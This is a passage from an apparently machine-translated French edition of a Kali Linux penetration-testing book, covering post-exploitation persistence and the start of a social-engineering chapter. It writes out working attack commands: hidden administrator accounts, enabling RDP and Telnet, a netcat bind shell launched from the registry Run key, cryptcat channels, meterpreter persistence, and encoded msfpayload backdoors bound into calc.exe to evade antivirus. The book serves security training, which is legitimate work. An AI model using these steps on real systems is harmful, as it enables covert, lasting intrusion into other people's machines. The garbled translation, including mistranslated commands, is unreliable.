En outre, il est possible que les horodatages soient conservés à
d'autres emplacements sur un disque dur.
conduire et être accessible pour enquête. Si le système cible
surveille activement
les modifications de l'intégrité du système à l'aide d'un système
de détection d'intrusion, tel que Tripwire,
des alertes de l' activité d' horodatage seront générées. Par
conséquent, la destruction des horodatages
est d'une valeur limitée lorsqu'une approche furtive est
vraiment requise.

Page 164
Chapitre 5
[ 147 ]
Sommaire
Dans ce chapitre, nous nous sommes concentrés sur les actions
immédiates qui suivent l'exploitation d'un
système cible. Nous avons examiné l'évaluation rapide initiale
menée pour caractériser
le serveur et l'environnement local. Nous avons également
appris à identifier et à localiser
cibler les fichiers d'intérêt, créer des comptes d'utilisateurs,
effectuer une escalade verticale pour améliorer
privilèges d'accès et supprimer les signes d'une intrusion.
Dans le prochain chapitre, nous apprendrons comment
implémenter une porte dérobée persistante pour conserver
accès, et nous apprendrons des techniques pour soutenir les
communications secrètes avec le
système compromis.

Page 165

Page 166
Post Exploit – Persistance
La dernière étape de la kill chain de l'attaquant est le
"commandement, le contrôle et
communiquer", où l'attaquant s'appuie sur une connexion
persistante avec le
système compromis pour s'assurer qu'ils peuvent continuer à
garder le contrôle.
Pour être efficace, l'attaquant doit être capable de maintenir
une persistance interactive — il
doit avoir un canal de communication bidirectionnel avec le
système exploité (interactif)
qui reste sur le système compromis pendant une longue
période sans être
découvert (persistance). Ce type de connectivité est une
exigence en raison de la
les raisons suivantes:
• Des intrusions dans le réseau peuvent être détectées et les
systèmes compromis peuvent être
identifié et corrigé
• Certains exploits ne fonctionnent qu'une seule fois car la
vulnérabilité est intermittente,
l'exploitation fait échouer le système, ou parce que l'exploit
force le système
changer, rendant la vulnérabilité inutilisable
• Les attaquants peuvent avoir besoin de retourner plusieurs
fois vers la même cible pour
raisons diverses
• L'utilité de la cible n'est pas toujours immédiatement connue
sur le moment
il est compromis
L'outil utilisé pour maintenir la persistance interactive est
généralement désigné par
termes tels que porte dérobée ou rootkit . Cependant, la
tendance à long terme
la persistance à la fois des logiciels malveillants automatisés et
des attaques humaines a brouillé le sens
des labels traditionnels ; donc à la place, nous ferons référence
à un logiciel malveillant qui est destiné
rester sur le système compromis pendant une longue période
en tant qu'agents persistants .
Ces agents persistants remplissent de nombreuses fonctions
pour les attaquants et les testeurs de pénétration,
comprenant les éléments suivants :
• Autoriser le téléchargement d'outils supplémentaires pour
prendre en charge de nouvelles attaques, en particulier
contre des systèmes situés sur le même réseau.
• Faciliter l'exfiltration des données des systèmes et réseaux
compromis.

Page 167
Post Exploit – Persistance
[ 150 ]
• Permettre aux attaquants de se reconnecter à un système
compromis, généralement via un
canal crypté pour éviter la détection. Les agents persistants
sont connus pour
restent sur les systèmes pendant plus d'un an.
• Utiliser des techniques anti-légales pour éviter d'être détecté,
y compris se cacher dans
le système de fichiers ou la mémoire système de la cible, en
utilisant une authentification forte, et
utilisant le cryptage.
Dans ce chapitre, vous apprendrez les éléments suivants :
• Compromission des fichiers système et d'application existants
pour l'accès à distance
• Création d'agents persistants
• Maintien de la persistance avec le framework Metasploit
• Redirection des ports pour contourner les contrôles réseau
Compromettre le système existant et
fichiers d'application pour l'accès à distance
Le meilleur agent persistant est celui qui n'a pas besoin d'être
caché car il fait partie de
la structure de fichiers existante du système compromis ;
l'attaquant n'a qu'à ajouter
certaines fonctionnalités pour convertir les fichiers système et
les applications réguliers en fichiers persistants
agents. Cette approche ne peut presque jamais être détectée
par des contrôles de sécurité tels que
systèmes de détection d'intrusion.
Activation à distance du service Telnet
Une technique utilisée pour maintenir l'accès à distance
consiste à utiliser le framework Metasploit pour
activez le service Telnet sur une plate-forme Windows et
utilisez-le pour assurer la persistance.
La première étape consiste à compromettre le système cible
pour obtenir une session meterpreter
(migrez la session pour assurer un shell stable), puis élevez les
privilèges d'accès.

Page 168
Chapitre 6
[ 151 ]
Ensuite, obtenez un shell de commande local pour accéder au
système cible en utilisant le
commande suivante :
meterpreter> exécuter -H -f cmd -i
Lorsqu'elle est exécutée, cette commande crée un shell de
commande interactif ( -i ) qui agit
comme un processus caché ( -H ).
À l'aide de l'invite de commande du shell, créez un nouveau
compte utilisateur. Lorsque
créer des comptes d'utilisateurs pour assurer la persistance, de
nombreux attaquants utilisent les éléments suivants
stratégie en deux temps :
• Créez un compte avec un nom qui attirera l'attention si le
compromis est
enquêté (par exemple, Leet7737)
• Créez un compte qui semble faire partie des fonctions
normales du système, telles que
Service_Account , à l'aide des commandes suivantes :
C:\net user Service_Account mot de passe /ADD
C:\net administrateurs de groupe local Service_Account /ADD
Lorsque les nouveaux comptes d'utilisateurs ont été créés,
quittez le shell de commande Windows.
Pour activer Telnet, exécutez la commande suivante à partir de
l' invite meterpreter :
exécuter gettelnet -e
L'exécution de la commande précédente est illustrée dans la
capture d'écran suivante :

Page 169
Post Exploit – Persistance
[ 152 ]
Le script montré dans la capture d'écran précédente crée un
service Telnet persistant sur
le système compromis. Pour y accéder, connectez-vous à
l'adresse IP du système à l'aide du
protocole Telnet et fournissez le nom d'utilisateur et le mot de
passe qui ont été utilisés pour créer le
compte, comme le montre la capture d'écran suivante :
Le service Telnet persistera jusqu'à sa suppression.
Malheureusement, il y a quelques
limitations à l'utilisation de Telnet : il est facilement détectable
(notamment parce que les informations d'identification
sont transmis en clair) et il ne fonctionne qu'en mode ligne de
commande.
Cependant, que se passe-t-il si vous avez besoin d'une interface
graphique pour accéder à certaines applications sur le
système compromis ?
Activation à distance du terminal Windows
Prestations de service
L'une des techniques les plus fiables pour garantir l'accès à
distance consiste à activer de manière persistante
Windows Terminal Services, également connu sous le nom de
Remote Desktop Protocol ( RDP ).
Pour ce faire, vous devez disposer des privilèges
d'administrateur et connaître la version du
système d'exploitation de la cible.
Par exemple, si la cible est Windows 7, utilisez meterpreter
pour obtenir un
shell de commande sur la cible, puis entrez les commandes
suivantes pour modifier
le registre :
C:\ reg ajouter
"hklm\system\currentControlSet\Control\Terminal
Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
C:\reg ajoute
"hklm\system\currentControlSet\Control\Terminal
Serveur" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f

170
Chapitre 6
[ 153 ]
Pour vous assurer que RDP traversera le pare-feu côté client,
ajoutez une règle à l'aide de la
commande suivante :
C:\ netshadvfirewall firewall set rule group="bureau distant"
new enable=Oui
Nous pouvons maintenant démarrer le service RDP à l'aide de
la commande suivante :
C:\net démarrer Termservice
Le changement de lancement RDP n'est pas encore persistant ;
utilisez la commande suivante pour démarrer
RDP à chaque démarrage de l'ordinateur :
C:\sc configTermService start=auto
Le processus d'activation de RDP n'est pas trop complexe, mais
il doit être scénarisé
pour réduire la possibilité d'erreurs, en particulier lorsque vous
travaillez avec le registre système.
Heureusement, le framework meterpreter utilise le script
GETGUI pour
activer les services RDP.
Lorsqu'elle est exécutée à partir de l' invite meterpreter , la
ligne de commande illustrée ci-dessous
capture d'écran crée le nom d'utilisateur et le mot de passe du
compte, masque le compte de la
l'écran de connexion et apporte les modifications nécessaires
au registre pour rester persistant.
La capture d'écran suivante montre la commande utilisée pour
créer un nom d'utilisateur qui
semble être un compte légitime (compte de service) avec un
simple mot de passe.
Pour vous connecter au bureau distant compromis, utilisez le
programme rdesktop de Kali .

Page 171
Post Exploit – Persistance
[ 154 ]
Activation à distance de Virtual Network Computing
Si le système contient des applications dont on sait qu'elles
sont compromises (en particulier
programmes d'accès à distance), il peut être possible de tirer
parti des
vulnérabilités pour exploiter le système. Par exemple:
• Il peut être possible d'extraire les mots de passe d'accès à
distance pour certains programmes
du registre. VNC stocke les mots de passe dans le registre, et
ceux-ci peuvent
être obtenu en extrayant manuellement la clé de registre ou en
téléchargeant et
exécuter une application telle que VNCPassView de NirSoft.
• Différentes versions de VNC contiennent différentes
vulnérabilités qui peuvent être
exploités pour compromettre l'application et obtenir un accès à
distance au
système. Si l'utilisateur a installé une version actuelle, il peut
être possible de
désinstallez cette version et installez une ancienne version à sa
place. En raison de
similitude de fonctionnalité entre les versions, l'utilisateur peut
ne pas remarquer le
substitution, mais un attaquant peut utiliser les exploits de
contournement d'authentification
trouvé dans les anciennes versions de VNC pour maintenir
l'accès dans la phase post-compromis.
Metasploit offre la possibilité d'introduire VNC directement
dans un système exploité
en utilisant le module VNCINJECT.
Dans la capture d'écran suivante, VNC a été sélectionné comme
charge utile au lieu de la normale
shell reverse_TCP :

Page 172
Chapitre 6
[ 155 ]
Cette attaque ne nécessite aucune authentification. Si vous
testez un site client, assurez-vous
que toutes les applications vulnérables sont supprimées du
système compromis une fois que le
la vulnérabilité a été prouvée, sinon vous avez créé un point
d'accès qui peut être
trouvé et utilisé par tout autre attaquant !
Utilisation d'agents persistants
Traditionnellement, les attaquants placent une porte dérobée
sur un système compromis, si le
la porte d'entrée a fourni un accès autorisé aux utilisateurs
légitimes, les applications de porte dérobée
a permis aux attaquants de revenir à un système exploité et
d'accéder aux services et aux données.
Malheureusement, les portes dérobées classiques offraient une
interactivité limitée et n'étaient pas
conçu pour être persistant sur les systèmes compromis
pendant de très longues périodes. Cette
était considérée comme une lacune importante par la
communauté des attaquants, car une fois le
la porte dérobée a été découverte et supprimée, il y avait du
travail supplémentaire à répéter
les étapes de compromis et d'exploiter le système, rendu plus
difficile par la
les administrateurs système prévenus défendant le réseau et
ses ressources.
Kali se concentre désormais sur les agents persistants qui, s'ils
sont correctement employés, sont plus difficiles à
détecter. Le premier outil que nous allons passer en revue est
le vénérable Netcat.
Utiliser Netcat en tant qu'agent persistant
Netcat est une application qui prend en charge la lecture et
l'écriture sur le réseau
connexions utilisant des paquets TCP et UDP « bruts ».
Contrairement aux paquets qui sont organisés par
services tels que Telnet ou FTP, les paquets de Netcat ne sont
pas accompagnés d'en-têtes ou
d'autres informations de canal spécifiques au service. Cela
simplifie les communications et
permet un canal de communication presque universel.
La dernière version stable de Netcat a été publiée par Hobbit
en 1996, et elle est restée
toujours aussi utile ; en fait, il est souvent appelé le couteau
suisse TCP/IP .
Netcat peut exécuter de nombreuses fonctions, dont les
suivantes :
• Analyse des ports
• Saisie de bannières pour identifier les services
• Redirection de port et proxy
• Transfert de fichiers et chat, y compris prise en charge de
l'analyse des données
et sauvegardes à distance
• Utilisation comme porte dérobée ou agent persistant
interactif, sur un
système compromis

Page 173
Post Exploit – Persistance
[ 156 ]
À ce stade, nous allons nous concentrer sur l'utilisation de
Netcat pour créer un shell persistant sur un
système compromis. Bien que l'exemple suivant utilise
Windows comme
plate-forme cible, il fonctionne de la même manière lorsqu'il
est utilisé sur une plate-forme Unix.
Dans l'exemple montré dans la capture d'écran suivante, nous
retiendrons l'exécutable
Nom nc.exe ; cependant, il est courant de le renommer avant
utilisation afin de minimiser
détection. Même s'il est renommé, il sera généralement
identifié par un logiciel antivirus ;
de nombreux attaquants modifieront ou supprimeront des
éléments du code source de Netcat qui ne sont pas
requis et recompilez-le avant utilisation ; de tels changements
peuvent altérer la signature spécifique
que les programmes antivirus utilisent pour identifier
l'application comme Netcat, la rendant invisible
aux programmes antivirus.
Netcat est stocké sur Kali dans le référentiel
/usr/share/windows-binaries .
Pour le télécharger sur un système compromis, entrez la
commande suivante à partir de
au sein de meterpreter :
meterpreter> upload/usr/share/windows-binaries/nc.exe
C:\\WINDOWS\\system32
L'exécution de la commande précédente est illustrée dans la
capture d'écran suivante :
Vous n'êtes pas obligé de le placer spécifiquement dans le
dossier system32 ; cependant, en raison de
le nombre et la diversité des types de fichiers dans ce dossier,
c'est le meilleur endroit pour cacher un
fichier dans un système compromis.
Lors d'un test d'intrusion sur un client, nous avons identifié six
instances distinctes de Netcat sur un serveur. Netcat avait été
installé
deux fois par deux administrateurs système distincts pour
prendre en charge le réseau
la gestion; les quatre autres instances ont été installées par des
attaquants externes
et n'ont été identifiés qu'au moment du test de pénétration.
Par conséquent, regardez toujours
pour voir si un Netcat est déjà installé sur votre cible !
Si vous n'avez pas de connexion meterpreter , vous pouvez
utiliser Trivial File Transfer
Protocole ( TFTP ) pour transférer le fichier.
Ensuite, configurez le registre pour lancer Netcat au démarrage
du système et assurez-vous
qu'il écoute sur le port 444 (ou tout autre port que vous avez
sélectionné, tant qu'il
n'est pas utilisé) à l'aide de la commande suivante :

Page 174
Chapitre 6
[ 157 ]
meterpreter>reg setval -k
HKLM\\software\\microsoft\\windows\\currentversion\\run
-vv nc
-d 'C:\\windows\\system32\\nc.exe -Ldp 444 -e cmd.exe'
Confirmez que la modification dans le registre a été mise en
œuvre avec succès à l'aide du
commande queryval suivante :
meterpreter>reg queryval -k
HKLM\\software\\microsoft\\windows\\currentverion\\run -
vv nc
À l'aide de la commande netsh , ouvrez un port sur le pare-feu
local pour vous assurer que le
système compromis acceptera les connexions à distance à
Netcat. C'est important
pour connaître le système d'exploitation de la cible. Le pare-feu
netsh advfirewall
le contexte de ligne de commande est utilisé pour Windows
Vista et Windows Server 2008 et
versions ultérieures ; la commande netsh firewall est utilisée
pour les systèmes d'exploitation antérieurs.
Pour ajouter un port au pare-feu Windows local, entrez la
commande shell à la
meterpreter , puis entrez la règle à l'aide de la commande
appropriée.
Lorsque vous nommez la règle , utilisez un nom tel que
svchostpassthrough qui suggère
cette règle est importante pour le bon fonctionnement du
système. Un échantillon
commande s'affiche comme suit :
C:\Windows\system32>netsh firewall ajouter portopening
TCP 444
"passerelle de service"
Confirmez que la modification a été mise en œuvre avec succès
à l'aide de la commande suivante :
C:\windows\system32>netsh firewall show portopening
L'exécution des commandes mentionnées précédemment est
indiquée dans le
capture d'écran suivante :

Page 175
Post Exploit – Persistance
[ 158 ]
Lorsque la règle de port est confirmée, assurez-vous que
l'option de redémarrage fonctionne.
• Saisissez la commande suivante à partir de l' invite
meterpreter :
meterpreter> redémarrer
• Saisissez la commande suivante à partir d'un shell Windows
interactif :
C:\windows\system32>shutdown –r –t 00
Pour accéder à distance au système compromis, tapez nc à
l'invite de commande, indiquez
la verbosité de la connexion ( -v rapporte des informations de
base et -vv rapporte beaucoup
plus d'informations), puis entrez l'adresse IP de la cible et le
numéro de port,
comme le montre la capture d'écran suivante :
Malheureusement, il existe certaines limitations à l'utilisation
de Netcat - il n'y a pas d'authentification
ou le cryptage des données transmises, et il est détecté par
presque tous les logiciels antivirus.
Le manque de cryptage peut être résolu en utilisant cryptcat ,
une variante de Netcat qui utilise le
Cryptage Twofish pour sécuriser les données lors de la
transmission entre l'hôte exploité
et l'agresseur. Le cryptage Twofish, développé par Bruce
Schneier, est un
chiffrement par bloc symétrique qui offre une protection
raisonnablement forte pour les données cryptées.
Pour utiliser cryptcat , assurez-vous qu'il y a un écouteur prêt et
configuré avec une forte
mot de passe, à l'aide de la commande suivante :
root@kali:~# cryptcat –k mot de passe –l –p 444
Ensuite, téléchargez cryptcat sur le système compromis et
configurez-le pour se connecter avec
l'adresse IP de l'auditeur à l'aide de la commande suivante :
C:\cryptcat –k mot de passe <adresse IP de l'auditeur> 444

Page 176
Chapitre 6
[ 159 ]
Malheureusement, Netcat et ses variantes restent détectables
par la plupart des antivirus
applications. Il est possible de rendre Netcat indétectable à
l'aide d'un éditeur hexadécimal pour modifier le
code source de Netcat ; cela aidera à éviter de déclencher
l'action de correspondance de signature de
l'antivirus, mais cela peut être un long processus d'essais et
d'erreurs. Une approche plus efficace
est de tirer parti des mécanismes de persistance du framework
Metasploit.
Maintenir la persévérance avec le
Cadre Metasploit
Le meterpreter de Metasploit contient plusieurs scripts qui
prennent en charge la persistance sur un
système compromis. Nous examinerons deux options de script
pour placer une porte dérobée
sur un système compromis : metsvc et persistance .
Utilisation du script metsvc
Le script metsvc est un wrapper de service réseau pour
meterpreter qui lui permet de
être utilisé en tant que service Windows ou exécuté en tant
qu'application de ligne de commande. Il est
généralement utilisé comme porte dérobée pour maintenir les
communications avec un système compromis.
Pour utiliser metsvc , commencez par compromettre le système,
puis migrez meterpreter vers le
explorer.exe pour obtenir un shell plus stable.
Exécutez l' agent metsvc en appelant la commande run ,
comme illustré ci-dessous
capture d'écran. Comme vous pouvez le voir, il crée un
répertoire d'installation temporaire, télécharge trois
fichiers ( metsrv.dll , metsvc-server.exe et metsvc.exe ), puis
démarre metsvc .

Page 177
Post Exploit – Persistance
[ 160 ]
Pour interagir avec l' agent metsvc persistant , l'attaquant
ouvre le Metasploit
Framework et sélectionne utiliser exploit/multi/handler avec
les fenêtres de charge utile /
metsvc_bind_tcp , comme illustré dans la capture d'écran
suivante. Les autres paramètres
(adresse IP et port) sont également définis.
Lorsque la commande exploit est exécutée, une session est
ouverte directement entre le
deux systèmes, permettant l'escalade des privilèges et d'autres
fonctions
à partir de la ligne de commande meterpreter . L'exécution de
la commande exploit est
montré dans la capture d'écran suivante :

Page 178
Chapitre 6
[ 161 ]
Le script metsvc ne nécessite aucune authentification ; une fois
l'agent en place, il peut être
utilisé par quiconque pour accéder au système compromis. La
plupart des attaquants auraient
ne pas l'utiliser sans modifier le code source de telle sorte qu'il
nécessite une authentification ou
s'assurer qu'il existe une méthode pour filtrer les connexions
distantes.
Plus important encore, ce n'est pas une attaque furtive. Toute
tentative de liste des processus en cours,
telles que la saisie de la commande ps à partir de l' invite
meterpreter , identifiera
le service metsvc et le fait que l'exécutable s'exécute à partir
d'un Temp
répertoire, ce qui est très suspect ! Dans la capture d'écran
suivante, le répertoire avec
le nom aléatoire (CvjrsZWOMK) situé dans le dossier Temp est
un indicateur évident qui
un système a été compromis :
Une simple inspection du dossier Temp identifiera les trois
fichiers hostiles, comme indiqué
dans la capture d'écran suivante ; cependant, ceux-ci seront
généralement signalés par un antivirus
avant qu'ils ne soient trouvés par inspection manuelle.
Utilisation du script de persistance
Une approche plus efficace pour gagner en persévérance
consiste à utiliser le meterpreter
script de persistance de l'invite .
Après qu'un système a été exploité et que la commande
migrate a déplacé le
shell vers un service plus sécurisé, un attaquant peut invoquer
le script de persistance depuis
l' invite du compteur .

Page 179
Post Exploit – Persistance
[ 162 ]
L'utilisation de -h dans la commande identifiera les options
disponibles pour créer un persistant
backdoor, comme le montre la capture d'écran suivante :
Dans l'exemple illustré dans la capture d'écran suivante, nous
avons configuré la persistance
s'exécuter automatiquement au démarrage du système et
tenter de se connecter à notre écouteur
toutes les 10 secondes. L'auditeur est identifié comme le
système distant ( -r ) avec un
Adresse IP et port. De plus, nous pourrions choisir d'utiliser l'
option -U , qui
démarrer la persistance lorsqu'un utilisateur se connecte au
système.
Notez que nous avons choisi arbitrairement le port 444 pour
une utilisation par persistance ; un
l'attaquant doit vérifier les paramètres du pare-feu local pour
s'assurer que ce port est
open, ou utilisez la commande reg pour ouvrir le port. Comme
la plupart des Metasploit
modules, n'importe quel port peut être sélectionné tant qu'il
n'est pas déjà utilisé.

Page 180
Chapitre 6
[ 163 ]
Le script de persistance place un fichier VBS dans un répertoire
temporaire ; cependant, vous pouvez
utilisez l' option -L pour spécifier un emplacement différent. Le
script ajoute également ce fichier au
sections d'exécution automatique locales du registre.
Parce que le script de persistance n'est pas authentifié et que
n'importe qui peut l'utiliser pour accéder
le système compromis, il doit être supprimé du système dès
que possible
après la découverte ou l'achèvement des tests d'intrusion. Pour
supprimer le script,
confirmez l'emplacement du fichier de ressources pour le
nettoyage, puis exécutez la commande suivante
commande de ressource :
meterpreter> exécuter multi_console_command -rc
/root/.msf4/logs/persistence/RWBEGGS-
1E69067_20130920.0024/RWBEGGS-
1E69067_20130920.0024.rc
Création d'un agent persistant autonome
avec Metasploit
Le framework Metasploit peut être utilisé pour créer un
exécutable autonome qui
peut persister sur un système compromis et permettre des
communications interactives.
L'avantage d'un package autonome est qu'il peut être préparé
et testé dans
avance pour assurer la connectivité et encodé pour contourner
le logiciel antivirus local.
Pour créer un agent autonome simple, lancez msfconsole sur
une invite de commande
à Kali.
Utilisez msfpayload pour créer l'agent de persistance. Dans
l'exemple montré dans le
capture d'écran suivante, l'agent est configuré pour utiliser un
shell reverse_tcp qui
se connectera à l'hôte local à 192.168.43.130 sur le port 4444 .
L'agent,
nommé attack1.exe , utilisera un modèle d'exécutable win32.
L'agent autonome ne fonctionnera que sur les systèmes
compromis sans antivirus
installé, ou si l'antivirus a d'abord été désactivé à l'aide du
commande meterpreter . Pour contourner l'antivirus, la porte
dérobée doit être encodée.
Page 181
Post Exploit – Persistance
[ 164 ]
Il existe plusieurs options différentes pour coder la charge utile,
comme indiqué dans le
capture d'écran suivante :
Pour voir les options disponibles, utilisez la commande show
encoders .
Metasploit utilise environ 30 encodeurs différents ; par défaut,
il sélectionnera le
codeur le plus approprié si aucun n'est spécifié.
Un bon encodeur général à utiliser est shikata_ga_nai . Cet
encodeur implémente
codage de rétroaction additif XOR polymorphe contre une clé
de 4 octets, et c'est le
seul encodeur classé "excellent" par Metasploit.
Pour coder l' agent attack.exe précédemment préparé , nous
utilisons ce qui suit
commander:
msf>msfencode -i attack.exe -o encoded_attack.exe -e
x86/shikata_ga_nai -c 5 -t exe
Cela code cinq fois l'agent attack.exe à l'aide du protocole
shikata_ga_nai .
Chaque fois qu'il est ré-encodé, il devient plus difficile à
détecter. Cependant, le
exécutable augmente également en taille.

Page 182
Chapitre 6
[ 165 ]
La charge utile complète peut être créée directement à partir
de la ligne de commande dans Kali. Non seulement peut
qu'il soit encodé, mais nous pouvons configurer le modèle
d'encodage pour éviter certains caractères.
Par exemple, les caractères suivants doivent être évités lors de
l'encodage d'un
agent car ils peuvent entraîner la découverte et l'échec de
l'attaque :
• \x00 représente une adresse de 0 octet
• \xa0 représente un saut de ligne
• \xad représente un retour chariot
Pour créer une charge utile multi-encodée, utilisez la
commande suivante :
msf>msfpayload windows/meterpreter/bind_tcp
LPORT=444 R| msfencode -e x86/shikata_ga_nai -c 5 -t raw -a
x86 -b '\x00\x0a\x0d' -c 5 -x /root/Desktop/attack.exe -o
/root/Desktop/encoded_attack.exe
Vous pouvez également encoder msfpayload dans un
exécutable existant, et à la fois le fichier modifié
exécutable et l'agent persistant fonctionnera. Pour lier l'agent
persistant à un
exécutable tel qu'une calculatrice ( calc.exe ), copiez d'abord le
fichier calc.exe approprié
dans le dossier de modèles de Metasploit situé dans
/usr/share/metasploit-framework/
données/modèles . Lorsque le modèle est en place, utilisez la
commande suivante :
msf>msfpayload windows/meterpreter/bind_tcp
LPORT=444 R| msfencode -t exe -x calc.exe -k -o
encoded_calc_attack.exe -e x86/shikata_ga_nai -c 5
L'agent peut être placé sur le système cible, renommé calc.exe
pour remplacer le
calculatrice d'origine, puis exécuté.
Malheureusement, presque tous les exécutables codés par
Metasploit peuvent être détectés par
logiciel antivirus client. Cela a été attribué aux testeurs de
pénétration qui ont
soumis des charges utiles chiffrées à des sites tels que
VirusTotal ( www.virustotal.com ).
Cependant, vous pouvez créer un exécutable puis le chiffrer à
l'aide de Veil-Evasion, comme
décrit au chapitre 4 , Exploiter .
Rediriger les ports pour contourner le réseau
les contrôles
Jusqu'à présent, nous avons examiné l'accès de contrôle à
distance au système exploité comme si nous avions
une connexion directe entre la victime et les machines de
l'attaquant ; cependant, un tel
la connectivité est fréquemment contrôlée ou bloquée par des
périphériques réseau tels qu'un pare-feu.

Page 183
Post Exploit – Persistance
[ 166 ]
Les attaquants peuvent contourner ces contrôles en utilisant la
redirection de port, qui est un
système qui écoute sur des ports définis et transmet les
paquets bruts à un
emplacement secondaire.
Kali fournit plusieurs outils prenant en charge la redirection de
port, notamment nc , cryptcat ,
socat , ssh , fpipe et le meterpreter de Metasploit ; nous allons
regarder quelques exemples dans
les rubriques suivantes.
Exemple 1 – redirection de port simple
Une simple redirection de port peut être utilisée, par exemple,
si vous avez compromis un
système à l'extérieur du réseau dans la zone démilitarisée
( DMZ ) et besoin
pour pouvoir communiquer avec un système interne à partir
d'un emplacement distant.
Sur le système compromis dans la DMZ, configurez une
instance de Netcat pour écouter
commandes entrantes et transférez-les à la cible à l'aide de la
commande suivante :
root@kali:~# nc -l -p 44444 -e <TAGET IP> 444
Cette commande invoquera Netcat ( nc ) pour écouter ( -l ) le
trafic entrant et exécuter
( -e ) le transfert de ce trafic entrant vers la cible sur le port
444 . Les ports ne sont pas fixes
et ils ne doivent pas nécessairement être les mêmes sur l'hôte
d'écoute/de transfert et sur le
cible finale.
Si vous ne disposez pas d'informations complètes concernant le
réseau interne de la cible, vous pouvez
essayez la commande suivante :
root@kali:~# nc -l -p <port d'écoute local> -c "nc <IP CIBLE>
<port CIBLE>
Cette commande définit l'instance locale (attaquante) de
Netcat pour écouter ( -l ) sur un
port désigné, puis demande à Netcat de créer un nouveau
processus avec chaque
nouvelle connexion ( -c ).
Cet exemple simple permet à l'étranger de se connecter au
réseau direct ; cependant,
il ne permet pas une connexion de données bidirectionnelle, ce
qui est requis pour certains outils.

Page 184
Chapitre 6
[ 167 ]
Exemple 2 – redirection de port bidirectionnel
Considérez trois systèmes de données Windows distincts :
[Attaquant] | [Transitaire ] | [Cible]
Afin de permettre un canal de communication bidirectionnel
utilisant Netcat, nous allons
devez utiliser des tubes nommés. Un tube nommé, également
appelé FIFO, est un moyen de
créer une communication interprocessus définie ; cela nous
permet de le traiter comme un objet,
facilitant la gestion lors de l'émission de commandes. Dans
l'exemple d'attaque suivant,
nous créons un canal nommé appelé reverse pour gérer les
communications bidirectionnelles.
L'attaquant a une instance de Netcat sur son système local
configuré pour écouter sur le port 6661
à l'aide de la commande suivante :
nc -l 6661
Le Forwarder, une boîte compromise avec une instance de
Netcat installée, écoutera
pour les paquets entrants et les transmettre à la cible ; il est
configuré pour écouter sur le port
6666 à l'aide de la commande suivante :
nc -l 6666
Sur le système cible, entrez la commande suivante pour créer le
canal nommé :
mkfifo inverse
Ensuite, configurez une instance locale de Netcat pour utiliser
ce canal nommé pour établir
communications bidirectionnelles à travers le système de
transmission à l'attaquant en utilisant le
commande suivante :
nc localhost 6661 0<inverse | nc localhost 6666 1> inverse
Le même flux de données bidirectionnel peut être obtenu en
utilisant socat , qui est conçu
pour mettre en œuvre des connexions de ce type. La
commande pour cet exemple serait
exécuté à partir du système cible et utilisez :
socat tcp:localhost:6661 tcp:localhost:6646

Page 185
Post Exploit – Persistance
[ 168 ]
Sommaire
Dans ce chapitre, nous nous sommes concentrés sur la dernière
étape de la chaîne de destruction de l'attaquant : la
étape de commandement, de contrôle et de communication,
où l'attaquant utilise un
agent pour communiquer avec un système compromis.
Cela conclut la première partie de ce livre où nous avons
examiné la chaîne de mise à mort de l'attaquant
en détail pour voir comment il pourrait être appliqué pour
compromettre un réseau ou un
système isolé.
Dans la partie 2 , La phase de livraison , nous examinerons des
applications spécifiques de la kill chain
en utilisant divers chemins d'exploit. Au chapitre 7 , Attaques
physiques et ingénierie sociale , nous
se concentrera sur la sécurité physique et les attaques
d'ingénierie sociale. Les sujets comprendront
un aperçu de la méthodologie d'attaque, de la fabrication de
périphériques USB hostiles et de voyous
micro-ordinateurs, la boîte à outils d'ingénierie sociale et tester
la résilience d'un
système aux attaques de phishing.

Page 186
Partie 2
La phase de livraison
Attaques physiques et
Ingénierie sociale
Exploiter le sans fil
Communication
Reconnaissance et exploitation
d'applications Web
Exploiter l'accès à distance
Communication
Exploitation côté client
Installation de Kali Linux

Page 187

Page 188
Attaques physiques et
Ingénierie sociale
Ingénierie sociale, notamment lorsqu'elle est associée à un
accès physique à la cible
système, est le vecteur d'attaque le plus efficace utilisé pour les
tests de pénétration ou
une véritable attaque.
En tant que voie d'attaque soutenant la kill chain, l'ingénierie
sociale se concentre sur la
aspects non techniques d'une attaque qui profitent d'une
personne de confiance et innée
leur utilité pour les tromper et les manipuler pour
compromettre un réseau et
ses ressources.
Le succès des attaques d'ingénierie sociale repose sur deux
facteurs clés :
• Les connaissances acquises lors de la phase de
reconnaissance. L'attaquant
doit connaître les noms et les noms d'utilisateur associés à la
cible ; Suite
surtout, l'attaquant doit comprendre les préoccupations des
utilisateurs sur le
réseau.
• Comprendre comment appliquer ces connaissances pour
convaincre des cibles potentielles
pour activer l'attaque en cliquant sur un lien, ou en exécutant
un programme. Pour
exemple, si la société cible vient de fusionner avec un ancien
concurrent, le
la sécurité d'emploi des employés sera probablement la
principale préoccupation. Par conséquent,
les e-mails ou les documents avec des titres associés à ce sujet
seront probablement
ouvert par des individus ciblés.
Kali Linux fournit plusieurs outils et frameworks qui ont une
chance accrue de
succès si l'ingénierie sociale est utilisée comme prétexte pour
influencer les victimes à ouvrir des dossiers ou
exécuter certaines opérations. Les exemples incluent les
attaques de script (y compris Visual Basic,
WMI et scripts PowerShell), les exécutables créés par le
Framework Metasploit,
et le BeEF ( The Browser Exploitation Framework ).

Page 189
Attaques physiques et ingénierie sociale
[ 172 ]
Dans ce chapitre, nous allons nous concentrer sur Social
Engineering Toolkit ou SEToolkit. Les
techniques utilisées dans l'utilisation de ces outils serviront de
modèle pour l'utilisation
l'ingénierie sociale pour déployer des attaques à partir d'autres
outils.
À la fin de ce chapitre, vous apprendrez à utiliser le SEToolkit
pour faire
ce qui suit:
• Obtenir un shell distant à l'aide d'attaques de spear phishing
et d'applet Java
• Récoltez ou collectez des noms d'utilisateur et des mots de
passe à l'aide des informations d'identification
attaque de moissonneuse
• Lancer les attaques tabnabbing et webjacking
• Utiliser la méthode Web multi-attaques
• Utiliser l'attaque par injection de shellcode alphanumérique
de PowerShell
Pour prendre en charge les attaques d'ingénierie sociale de SET,
l'implémentation générale suivante
les pratiques seront décrites :
• Masquage des exécutables malveillants et obscurcissement
de l'URL de l'attaquant
• Escalade d'une attaque à l'aide de la redirection DNS
Vous apprendrez également à créer et à mettre en œuvre des
dispositifs physiques hostiles basés sur
le micro-ordinateur Raspberry PI.
Boîte à outils d'ingénierie sociale
Social-Engineer Toolkit (SEToolkit) a été créé et écrit par David
Kennedy (ReL1K), et il est maintenu par un groupe actif de
collaborateurs
( www.social-engineer.org ). C'est un framework open source
basé sur python
